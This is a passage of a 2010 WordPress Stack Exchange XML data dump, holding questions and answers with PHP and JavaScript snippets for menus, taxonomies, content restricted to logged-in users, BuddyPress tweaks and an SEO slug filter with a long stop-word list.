a=e.createElement(&quot;link&quot;);a.type=&quot;text/css&quot;;a.rel=&quot;stylesheet&quot;;a.charset=&quot;UTF-8&quot;;a.href=b;f(a)}function _isNS(b){b=b.split(&quot;.&quot;);for(var a=d,c=0;c&amp;lt;b.length;++c)if(!(a=a[b[c]]))return false;return true}&#xA;function _setupNS(b){b=b.split(&quot;.&quot;);for(var a=d,c=0;c&amp;lt;b.length;++c)a=a[b[c]]||(a[b[c]]={});return a}d.addEventListener&amp;amp;&amp;amp;typeof e.readyState==&quot;undefined&quot;&amp;amp;&amp;amp;d.addEventListener(&quot;DOMContentLoaded&quot;,function(){e.readyState=&quot;complete&quot;},false);&#xA;if (_isNS('google.translate.Element')){return}var c=_setupNS('google.translate._const');c._cl='en';c._cuc='googleTranslateElementInit';c._cac='';c._cam='';var h='translate.googleapis.com';var b=(window.location.protocol=='https:'?'https://':'http://')+h;c._pah=h;c._pbi=b+'/translate_static/img/te_banner_bk.gif';c._pci=b+'/translate_static/img/te_ctrl.gif';c._phf=h+'/translate_static/js/element/hrs.swf';c._pli=b+'/translate_static/img/loading.gif';c._plla=h+'/translate_a/l';c._pmi=b+'/translate_static/img/mini_google.png';c._ps=b+'/translate_static/css/translateelement.css';c._puh='translate.google.com';_loadCss(c._ps);_loadJs(b+'/translate_static/js/element/main.js');})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is mainly for performance reasons to avoid the extra request and avoids the website having to communicate with Google unless a language is chosen from the drop down box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drop down box can be customized using css.  For example here is how I display the box on the site I used it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ZwSjh.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-19T22:49:06.173" LastActivityDate="2010-09-19T22:49:06.173" CommentCount="3" />
  <row Id="1913" PostTypeId="2" ParentId="1910" CreationDate="2010-09-17T05:30:52.137" Score="0" ViewCount="" Body="&lt;p&gt;Look like (which is a matter of styling) or work like (which goes well beyond single post)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title, &lt;del&gt;short description&lt;/del&gt; excerpt and thumbnail are native WordPress capabilities. There are several plugins around for voting but most I know are rating based (0-5) and not up/down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1266/building-a-digg-clone-using-wordpress&quot;&gt;Building a Digg clone using Wordpress?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-17T05:30:52.137" CommentCount="1" />
  <row Id="1914" PostTypeId="2" ParentId="1901" CreationDate="2010-09-17T05:58:40.017" Score="1" ViewCount="" Body="&lt;p&gt;Basic idea would be to loop through posts and their categories, assigning meta on matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this (be sure to check on test copy of data, etc, etc):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts( array(&#xA;    'numberposts' =&amp;gt; -1&#xA;) );&#xA;&#xA;foreach( $posts as $post ) {&#xA;&#xA;    $categories = get_the_category( $post-&amp;gt;ID );&#xA;&#xA;    foreach( $categories as $category ) {&#xA;&#xA;        if( 'Hidden' ==  $category-&amp;gt;name )&#xA;            add_post_meta( $post-&amp;gt;ID, '_hidden', 'yes', true );&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Forgot to add deleting when done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = get_category_by_slug( 'hidden' );&#xA;wp_delete_category( $category-&amp;gt;term_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-17T06:20:40.040" LastActivityDate="2010-09-17T06:20:40.040" CommentCount="4" />
  <row Id="1915" PostTypeId="2" ParentId="1794" CreationDate="2010-09-17T07:03:38.360" Score="4" ViewCount="" Body="&lt;p&gt;I figured I would post the answer to this after Dimas was able to assist me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Utilizing his WPAlchemey Class I added a save_action var which looked like this (note that I am using the taxonomy for &quot;category&quot; which of course you can change to whatever your custom taxonomy might be):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'save_action'   =&amp;gt; 'save_taxonomy_terms',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then add the following function for this as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_taxonomy_terms($meta, $post_id) {&#xA;wp_set_post_terms($post_id, array($meta['my_terms']), 'category', FALSE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An my metabox code which displays the dropdown list of taxonomies looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Event Category:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;?php $terms = get_terms('category', 'hide_empty=0'); ?&amp;gt;&#xA;    &amp;lt;?php $mb-&amp;gt;the_field('my_terms'); ?&amp;gt;&#xA;    &amp;lt;select name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;option value='' &amp;lt;?php if (!count($terms)) echo &quot;selected&quot;;?&amp;gt;&amp;gt;Not Assigned&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php foreach ($terms as $term): ?&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo $term-&amp;gt;term_id; ?&amp;gt;&quot;&amp;lt;?php $mb-&amp;gt;the_select_state($term-&amp;gt;term_id); ?&amp;gt;&amp;lt;?php echo '&amp;gt;' . $term-&amp;gt;name; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-17T07:03:38.360" />
  <row Id="1916" PostTypeId="2" ParentId="1449" CreationDate="2010-09-17T07:17:47.423" Score="1" ViewCount="" Body="&lt;p&gt;For anyone who is interested, I answered this question on a different post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1794/need-help-in-saving-taxonomy-terms-85-solved-just-need-some-help&quot;&gt;http://wordpress.stackexchange.com/questions/1794/need-help-in-saving-taxonomy-terms-85-solved-just-need-some-help&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-17T07:17:47.423" />
  <row Id="1917" PostTypeId="2" ParentId="1236" CreationDate="2010-09-17T07:18:50.993" Score="0" ViewCount="" Body="&lt;p&gt;I answered this question on a different post:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1794/need-help-in-saving-taxonomy-terms-85-solved-just-need-some-help&quot;&gt;http://wordpress.stackexchange.com/questions/1794/need-help-in-saving-taxonomy-terms-85-solved-just-need-some-help&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-17T07:18:50.993" />
  <row Id="1918" PostTypeId="2" ParentId="1567" CreationDate="2010-09-17T08:32:12.243" Score="4" ViewCount="" Body="&lt;h2&gt;List all constants for informations and debugging&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will only display the information if you are a logged in user&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_user_logged_in() ) {&#xA;    print('&amp;lt;pre&amp;gt;');&#xA;    print_r( @get_defined_constants() );&#xA;    print('&amp;lt;/pre&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is version with optional filter that will partially match constant names and values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function constants($filter = false) {&#xA;&#xA;        $constants = get_defined_constants();&#xA;&#xA;        if( false !== $filter ) {&#xA;&#xA;            $temp = array();&#xA;&#xA;            foreach ( $constants as $key =&amp;gt; $constant )&#xA;                if( false !== stripos( $key, $filter ) || false !== stripos( $constant, $filter ) )&#xA;                    $temp[$key] = $constant;&#xA;&#xA;            $constants = $temp;&#xA;        }&#xA;&#xA;        ksort( $constants );&#xA;        var_dump( $constants );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-25T23:38:15.130" LastActivityDate="2011-02-25T23:38:15.130" CommunityOwnedDate="2010-09-17T08:32:12.243" />
  <row Id="1919" PostTypeId="2" ParentId="1567" CreationDate="2010-09-17T08:34:49.537" Score="3" ViewCount="" Body="&lt;h2&gt;Display Specific Content only for logged in users&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function content_only4logged_in($content) {&#xA;&#xA;    // ALL LOGGED IN USERS&#xA;    if ( is_user_logged_in() &amp;amp;&amp;amp;&#xA;            !is_null($content) &amp;amp;&amp;amp;&#xA;            !is_feed()&#xA;         ) {&#xA;        return $content;&#xA;    } else {&#xA;        $content  = wp_html_excerpt( $content, 80 );&#xA;        $content .= ' …';&#xA;        $content .= __( 'Sorry, more of this content is only available for logged users.', FB_TEXTDOMAIN );&#xA;        return $content;&#xA;    }&#xA;}&#xA;add_action( 'the_content', 'content_only4logged_in' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;more possibilities and informations on the post &lt;a href=&quot;http://wpengineer.com/2046/control-the-wordpress-content-via-userrights-or-time/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/2046/control-the-wordpress-content-via-userrights-or-time/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:38:14.100" LastActivityDate="2011-01-26T14:38:14.100" CommunityOwnedDate="2010-09-17T08:34:49.537" CommentCount="1" />
  <row Id="1920" PostTypeId="2" ParentId="1567" CreationDate="2010-09-17T08:35:59.813" Score="1" ViewCount="" Body="&lt;h2&gt;List all SubCategories&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$echo = '&amp;lt;ul&amp;gt;' . &quot;\n&quot;;&#xA;$childcats = get_categories('child_of=' . $cat . '&amp;amp;hide_empty=1');&#xA;foreach ($childcats as $childcat) {&#xA;    if (1 == $childcat-&amp;gt;category_parent) {&#xA;        $echo .= &quot;\t&quot; . '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_category_link($childcat-&amp;gt;cat_ID).'&quot; title=&quot;' . $childcat-&amp;gt;category_description . '&quot;&amp;gt;';&#xA;        $echo .= $childcat-&amp;gt;cat_name . '&amp;lt;/a&amp;gt;';&#xA;        $echo .= '&amp;lt;/li&amp;gt;' . &quot;\n&quot;;&#xA;    }&#xA;}&#xA;$echo .= '&amp;lt;/ul&amp;gt;' . &quot;\n&quot;;&#xA;echo $echo;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also here, more informations and functins in the post &lt;a href=&quot;http://wpengineer.com/2025/list-all-subcategories/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/2025/list-all-subcategories/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:32:57.070" LastActivityDate="2011-01-26T14:32:57.070" CommunityOwnedDate="2010-09-17T08:35:59.813" CommentCount="1" />
  <row Id="1922" PostTypeId="2" ParentId="1905" CreationDate="2010-09-17T08:39:21.740" Score="1" ViewCount="" Body="&lt;p&gt;please see this question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1552/best-practices-for-localizing-wordpress-content/1589#1589&quot;&gt;http://wordpress.stackexchange.com/questions/1552/best-practices-for-localizing-wordpress-content/1589#1589&lt;/a&gt; maybe you find an solution from this ideas&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-09-17T08:39:21.740" />
  <row Id="1923" PostTypeId="2" ParentId="1903" CreationDate="2010-09-17T08:43:39.307" Score="1" ViewCount="" Body="&lt;p&gt;Please see this Question as well: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1177/scaling-a-wp-ecommerce-site&quot;&gt;Scaling a WP eCommerce site&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-17T08:43:39.307" />
  <row Id="1924" PostTypeId="2" ParentId="1907" CreationDate="2010-09-17T09:25:22.883" Score="0" ViewCount="" Body="&lt;p&gt;You can use the userlevels system, youc an find more information on roles levels and capabilities here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here for how the old 'roles' map onto the user levels system:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#User_Levels&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities#User_Levels&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can further define in your templates wether a user of a given role can view a page or not using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;&#xA;get_currentuserinfo();&#xA;&#xA;if ($current_user-&amp;gt;user_level &amp;lt; 8) {&#xA;    // stuff that is only visible to users lower than level 8&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also bear in mind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_user_logged_in() ) { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_user_logged_in&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using these you should be able to control who can see what, and at what level of access they need to  see it&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-17T09:25:22.883" CommentCount="1" />
  <row Id="1925" PostTypeId="1" CreationDate="2010-09-17T11:10:25.913" Score="0" ViewCount="55" Body="&lt;p&gt;I am glad for the opportunity to be a member of this community. Lately I decide to start learning wordpress and theme building so this is my first post here. I read some tutorials around the net about how to construct a custom theme. My question is, how can I build my custom menu? For example I have the template on psd, I slice it and then I want to integrate it on wordpress. I support that first I build pages. Then how can I build a menu with custom css/xhtml which every link point to the pages I created? Maybe the description it's not clear but I suppose you understand what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="906" LastActivityDate="2010-09-17T12:29:42.363" Title="Custom theme - pages in menu" Tags="&lt;themes&gt;&lt;custom-menus&gt;&lt;page&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="1926" PostTypeId="2" ParentId="1925" CreationDate="2010-09-17T12:29:42.363" Score="1" ViewCount="" Body="&lt;p&gt;Since version 3.0 WordPress includes new menu system. It allows to setup menu items in administration area easily and associate menus with specific places in theme templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It outputs decent list-based markup (pre-filled with classes) that you can style with CSS (and customize if needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Navigation_Menus&quot; rel=&quot;nofollow&quot;&gt;Navigation Menus&lt;/a&gt; for where to start.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-17T12:29:42.363" />
  <row Id="1927" PostTypeId="2" ParentId="1907" CreationDate="2010-09-17T12:40:01.433" Score="3" ViewCount="" Body="&lt;p&gt;Message you quoted is being generated by &lt;code&gt;members_content_permissions_protect()&lt;/code&gt; function. By default it is used as a filter on &lt;code&gt;the_content()&lt;/code&gt; and &lt;code&gt;the_excerpt()&lt;/code&gt; functions. Since your custom template doesn't use these - there is no case for function to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this in template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = 'Content to protect';&#xA;echo members_content_permissions_protect( $content );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protected = members_content_permissions_protect( false );&#xA;&#xA;if( false !== $protected ) {&#xA;&#xA;    echo $protected;&#xA;}&#xA;else {&#xA;&#xA;    //template stuff goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-18T08:00:18.430" LastActivityDate="2010-09-18T08:00:18.430" CommentCount="4" />
  <row Id="1928" PostTypeId="2" ParentId="1358" CreationDate="2010-09-17T13:17:31.517" Score="1" ViewCount="" Body="&lt;p&gt;BuddyPress employs a different signup/registration process (creation steps, xprofile fields, avatar, account activation email, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either create a child theme for registration/register.php and make the appropriated edits for your needs. Hook into the actions to add more content or create additional steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or copy some of the source code which is required by BuddyPress&#xA;&lt;a href=&quot;http://buddypress.org/community/groups/how-to-and-troubleshooting/forum/topic/modifying-customising-the-registration-process/#post-71966&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/community/groups/how-to-and-troubleshooting/forum/topic/modifying-customising-the-registration-process/#post-71966&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="917" LastActivityDate="2010-09-17T13:17:31.517" />
  <row Id="1929" PostTypeId="1" AcceptedAnswerId="1938" CreationDate="2010-09-17T13:20:25.563" Score="0" ViewCount="350" Body="&lt;p&gt;Question - How can one utilize the wordpress 3.0 Menu system to automatically have new pages from a custom post type included within the menu (I am referring to the Menu Management area of wordpress for the public website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this currently works for the regular &quot;pages&quot; if you check the automatically incude box but is there a way to also hard code it to work for pages from a custom post type?&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-09-17T17:44:05.907" LastActivityDate="2010-09-17T17:44:05.907" Title="Menu with Automatic Pages Included from Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1930" PostTypeId="2" ParentId="1241" CreationDate="2010-09-17T13:46:21.853" Score="1" ViewCount="" Body="&lt;p&gt;Currently the  bp_has_blogs() loop does not allow an exclude param to remove certain blogs from the listing. By default all public blogs are listed. You can try a simple hack (but the pagination will be off) &lt;a href=&quot;http://buddypress.org/community/groups/how-to-and-troubleshooting/forum/topic/excluding-certain-blogs-from-bp_has_blogs-function-for-12/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/community/groups/how-to-and-troubleshooting/forum/topic/excluding-certain-blogs-from-bp_has_blogs-function-for-12/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can filter on bp_has_blogs and loop over the array and unset (+ recount) prior to being displayed in the theme. While not ideal, pagination would be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pseudo code for a filter: (though untested as i do run ms+bp setup - have a look at the source code file bp-blogs/bp-blogs-templatetags.php and the class BP_Blogs_Template for further info)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_remove_blog_from_loop( $b, $blogs ) {&#xA;&#xA;foreach ( $blogs-&amp;gt;the_blogs as $key =&amp;gt; $blog ) {&#xA;&#xA;    if ( $blog-&amp;gt;blog_id == SOME_BLOG_ID_HERE ) {&#xA;&#xA;        unset( $blogs-&amp;gt;the_blogs[$key] );&#xA;&#xA;        $blogs-&amp;gt;blog_count = $blogs-&amp;gt;blog_count-1;&#xA;        $blogs-&amp;gt;total_blog_count = $blogs-&amp;gt;total_blog_count-1;&#xA;        $blogs-&amp;gt;pag_num = $blogs-&amp;gt;pag_num -1;&#xA;    }&#xA;}&#xA;&#xA;/* Renumber the array keys to account for missing items */&#xA;$blogs_new = array_values( $blogs-&amp;gt;blogs );&#xA;$blogs-&amp;gt;blogs = $blogs_new;&#xA;&#xA;return $blogs;&#xA;}&#xA;add_action('bp_has_blogs','my_remove_blog_from_loop', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace SOME_BLOG_ID_HERE which whatever numerical blog_id &lt;/p&gt;&#xA;" OwnerUserId="917" LastActivityDate="2010-09-17T13:46:21.853" />
  <row Id="1931" PostTypeId="1" AcceptedAnswerId="2356" CreationDate="2010-09-17T13:47:53.350" Score="0" ViewCount="186" Body="&lt;p&gt;I am using a slick little piece of code which I have included within my functions file which automatically takes any information entered into the title of a new post and create a slug with specific stop words automatically removed (code included below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that sometimes after this slug is automatically created I wanted to click on the slug (under the title) and modify it directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question to the community is... what would I need to change in the code below so that when I click on the slug (under the title) and modify it that whatever I enter there is used without the function below preventing that from happening. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// AUTOMATICALLY SANITIZE PAGE/POST SEO SLUG FROM SHORT WORDS&#xA;// SOURCE: http://www.vretoolbar.com/news/seo-slugs-wordpress-plugin&#xA;   add_filter('name_save_pre', 'seo_slugs', 0);&#xA;   function seo_slugs($slug) {&#xA;    // We don't want to change an existing slug&#xA; if ($slug) return $slug;&#xA; global $wpdb;&#xA; $seo_slug = strtolower(stripslashes($_POST['post_title']));&#xA; $seo_slug = preg_replace('/&amp;amp;.+?;/', '', $seo_slug); // kill HTML entities&#xA;    // kill anything that is not a letter, digit, space or apostrophe&#xA; $seo_slug = preg_replace (&quot;/[^a-zA-Z0-9 \']/&quot;, &quot;&quot;, $seo_slug);&#xA;    // Turn it to an array and strip common words by comparing against c.w. array&#xA; $seo_slug_array = array_diff (split(&quot; &quot;, $seo_slug), seo_slugs_stop_words());&#xA;    // Turn the sanitized array into a string&#xA; $seo_slug = join(&quot;-&quot;, $seo_slug_array);&#xA; return $seo_slug;&#xA;   }&#xA;   function seo_slugs_stop_words () {&#xA;   return array (&quot;a&quot;, &quot;able&quot;, &quot;about&quot;, &quot;above&quot;, &quot;abroad&quot;, &quot;according&quot;, &quot;accordingly&quot;, &quot;across&quot;, &quot;actually&quot;, &quot;adj&quot;, &quot;after&quot;, &quot;afterwards&quot;, &quot;again&quot;, &quot;against&quot;, &quot;ago&quot;, &quot;ahead&quot;, &quot;ain't&quot;, &quot;all&quot;, &quot;allow&quot;, &quot;allows&quot;, &quot;almost&quot;, &quot;alone&quot;, &quot;along&quot;, &quot;alongside&quot;, &quot;already&quot;, &quot;also&quot;, &quot;although&quot;, &quot;always&quot;, &quot;am&quot;, &quot;amid&quot;, &quot;amidst&quot;, &quot;among&quot;, &quot;amongst&quot;, &quot;an&quot;, &quot;and&quot;, &quot;another&quot;, &quot;any&quot;, &quot;anybody&quot;, &quot;anyhow&quot;, &quot;anyone&quot;, &quot;anything&quot;, &quot;anyway&quot;, &quot;anyways&quot;, &quot;anywhere&quot;, &quot;apart&quot;, &quot;appear&quot;, &quot;appreciate&quot;, &quot;appropriate&quot;, &quot;are&quot;, &quot;aren't&quot;, &quot;around&quot;, &quot;as&quot;, &quot;a's&quot;, &quot;aside&quot;, &quot;ask&quot;, &quot;asking&quot;, &quot;associated&quot;, &quot;at&quot;, &quot;available&quot;, &quot;away&quot;, &quot;awfully&quot;, &quot;b&quot;, &quot;back&quot;, &quot;backward&quot;, &quot;backwards&quot;, &quot;be&quot;, &quot;became&quot;, &quot;because&quot;, &quot;become&quot;, &quot;becomes&quot;, &quot;becoming&quot;, &quot;been&quot;, &quot;before&quot;, &quot;beforehand&quot;, &quot;begin&quot;, &quot;behind&quot;, &quot;being&quot;, &quot;believe&quot;, &quot;below&quot;, &quot;beside&quot;, &quot;besides&quot;, &quot;best&quot;, &quot;better&quot;, &quot;between&quot;, &quot;beyond&quot;, &quot;both&quot;, &quot;brief&quot;, &quot;but&quot;, &quot;by&quot;, &quot;c&quot;, &quot;came&quot;, &quot;can&quot;, &quot;cannot&quot;, &quot;cant&quot;, &quot;can't&quot;, &quot;caption&quot;, &quot;cause&quot;, &quot;causes&quot;, &quot;certain&quot;, &quot;certainly&quot;, &quot;changes&quot;, &quot;clearly&quot;, &quot;c'mon&quot;, &quot;co&quot;, &quot;co.&quot;, &quot;com&quot;, &quot;come&quot;, &quot;comes&quot;, &quot;concerning&quot;, &quot;consequently&quot;, &quot;consider&quot;, &quot;considering&quot;, &quot;contain&quot;, &quot;containing&quot;, &quot;contains&quot;, &quot;corresponding&quot;, &quot;could&quot;, &quot;couldn't&quot;, &quot;course&quot;, &quot;c's&quot;, &quot;currently&quot;, &quot;d&quot;, &quot;dare&quot;, &quot;daren't&quot;, &quot;definitely&quot;, &quot;described&quot;, &quot;despite&quot;, &quot;did&quot;, &quot;didn't&quot;, &quot;different&quot;, &quot;directly&quot;, &quot;do&quot;, &quot;does&quot;, &quot;doesn't&quot;, &quot;doing&quot;, &quot;done&quot;, &quot;don't&quot;, &quot;down&quot;, &quot;downwards&quot;, &quot;during&quot;, &quot;e&quot;, &quot;each&quot;, &quot;edu&quot;, &quot;eg&quot;, &quot;eight&quot;, &quot;eighty&quot;, &quot;either&quot;, &quot;else&quot;, &quot;elsewhere&quot;, &quot;end&quot;, &quot;ending&quot;, &quot;enough&quot;, &quot;entirely&quot;, &quot;especially&quot;, &quot;et&quot;, &quot;etc&quot;, &quot;even&quot;, &quot;ever&quot;, &quot;evermore&quot;, &quot;every&quot;, &quot;everybody&quot;, &quot;everyone&quot;, &quot;everything&quot;, &quot;everywhere&quot;, &quot;ex&quot;, &quot;exactly&quot;, &quot;example&quot;, &quot;except&quot;, &quot;f&quot;, &quot;fairly&quot;, &quot;far&quot;, &quot;farther&quot;, &quot;few&quot;, &quot;fewer&quot;, &quot;fifth&quot;, &quot;first&quot;, &quot;five&quot;, &quot;followed&quot;, &quot;following&quot;, &quot;follows&quot;, &quot;for&quot;, &quot;forever&quot;, &quot;former&quot;, &quot;formerly&quot;, &quot;forth&quot;, &quot;forward&quot;, &quot;found&quot;, &quot;four&quot;, &quot;from&quot;, &quot;further&quot;, &quot;furthermore&quot;, &quot;g&quot;, &quot;get&quot;, &quot;gets&quot;, &quot;getting&quot;, &quot;given&quot;, &quot;gives&quot;, &quot;go&quot;, &quot;goes&quot;, &quot;going&quot;, &quot;gone&quot;, &quot;got&quot;, &quot;gotten&quot;, &quot;greetings&quot;, &quot;h&quot;, &quot;had&quot;, &quot;hadn't&quot;, &quot;half&quot;, &quot;happens&quot;, &quot;hardly&quot;, &quot;has&quot;, &quot;hasn't&quot;, &quot;have&quot;, &quot;haven't&quot;, &quot;having&quot;, &quot;he&quot;, &quot;he'd&quot;, &quot;he'll&quot;, &quot;hello&quot;, &quot;help&quot;, &quot;hence&quot;, &quot;her&quot;, &quot;here&quot;, &quot;hereafter&quot;, &quot;hereby&quot;, &quot;herein&quot;, &quot;here's&quot;, &quot;hereupon&quot;, &quot;hers&quot;, &quot;herself&quot;, &quot;he's&quot;, &quot;hi&quot;, &quot;him&quot;, &quot;himself&quot;, &quot;his&quot;, &quot;hither&quot;, &quot;hopefully&quot;, &quot;how&quot;, &quot;howbeit&quot;, &quot;however&quot;, &quot;hundred&quot;, &quot;i&quot;, &quot;i'd&quot;, &quot;ie&quot;, &quot;if&quot;, &quot;ignored&quot;, &quot;i'll&quot;, &quot;i'm&quot;, &quot;immediate&quot;, &quot;in&quot;, &quot;inasmuch&quot;, &quot;inc&quot;, &quot;inc.&quot;, &quot;indeed&quot;, &quot;indicate&quot;, &quot;indicated&quot;, &quot;indicates&quot;, &quot;inner&quot;, &quot;inside&quot;, &quot;insofar&quot;, &quot;instead&quot;, &quot;into&quot;, &quot;inward&quot;, &quot;is&quot;, &quot;isn't&quot;, &quot;it&quot;, &quot;it'd&quot;, &quot;it'll&quot;, &quot;its&quot;, &quot;it's&quot;, &quot;itself&quot;, &quot;i've&quot;, &quot;j&quot;, &quot;just&quot;, &quot;k&quot;, &quot;keep&quot;, &quot;keeps&quot;, &quot;kept&quot;, &quot;know&quot;, &quot;known&quot;, &quot;knows&quot;, &quot;l&quot;, &quot;last&quot;, &quot;lately&quot;, &quot;later&quot;, &quot;latter&quot;, &quot;latterly&quot;, &quot;least&quot;, 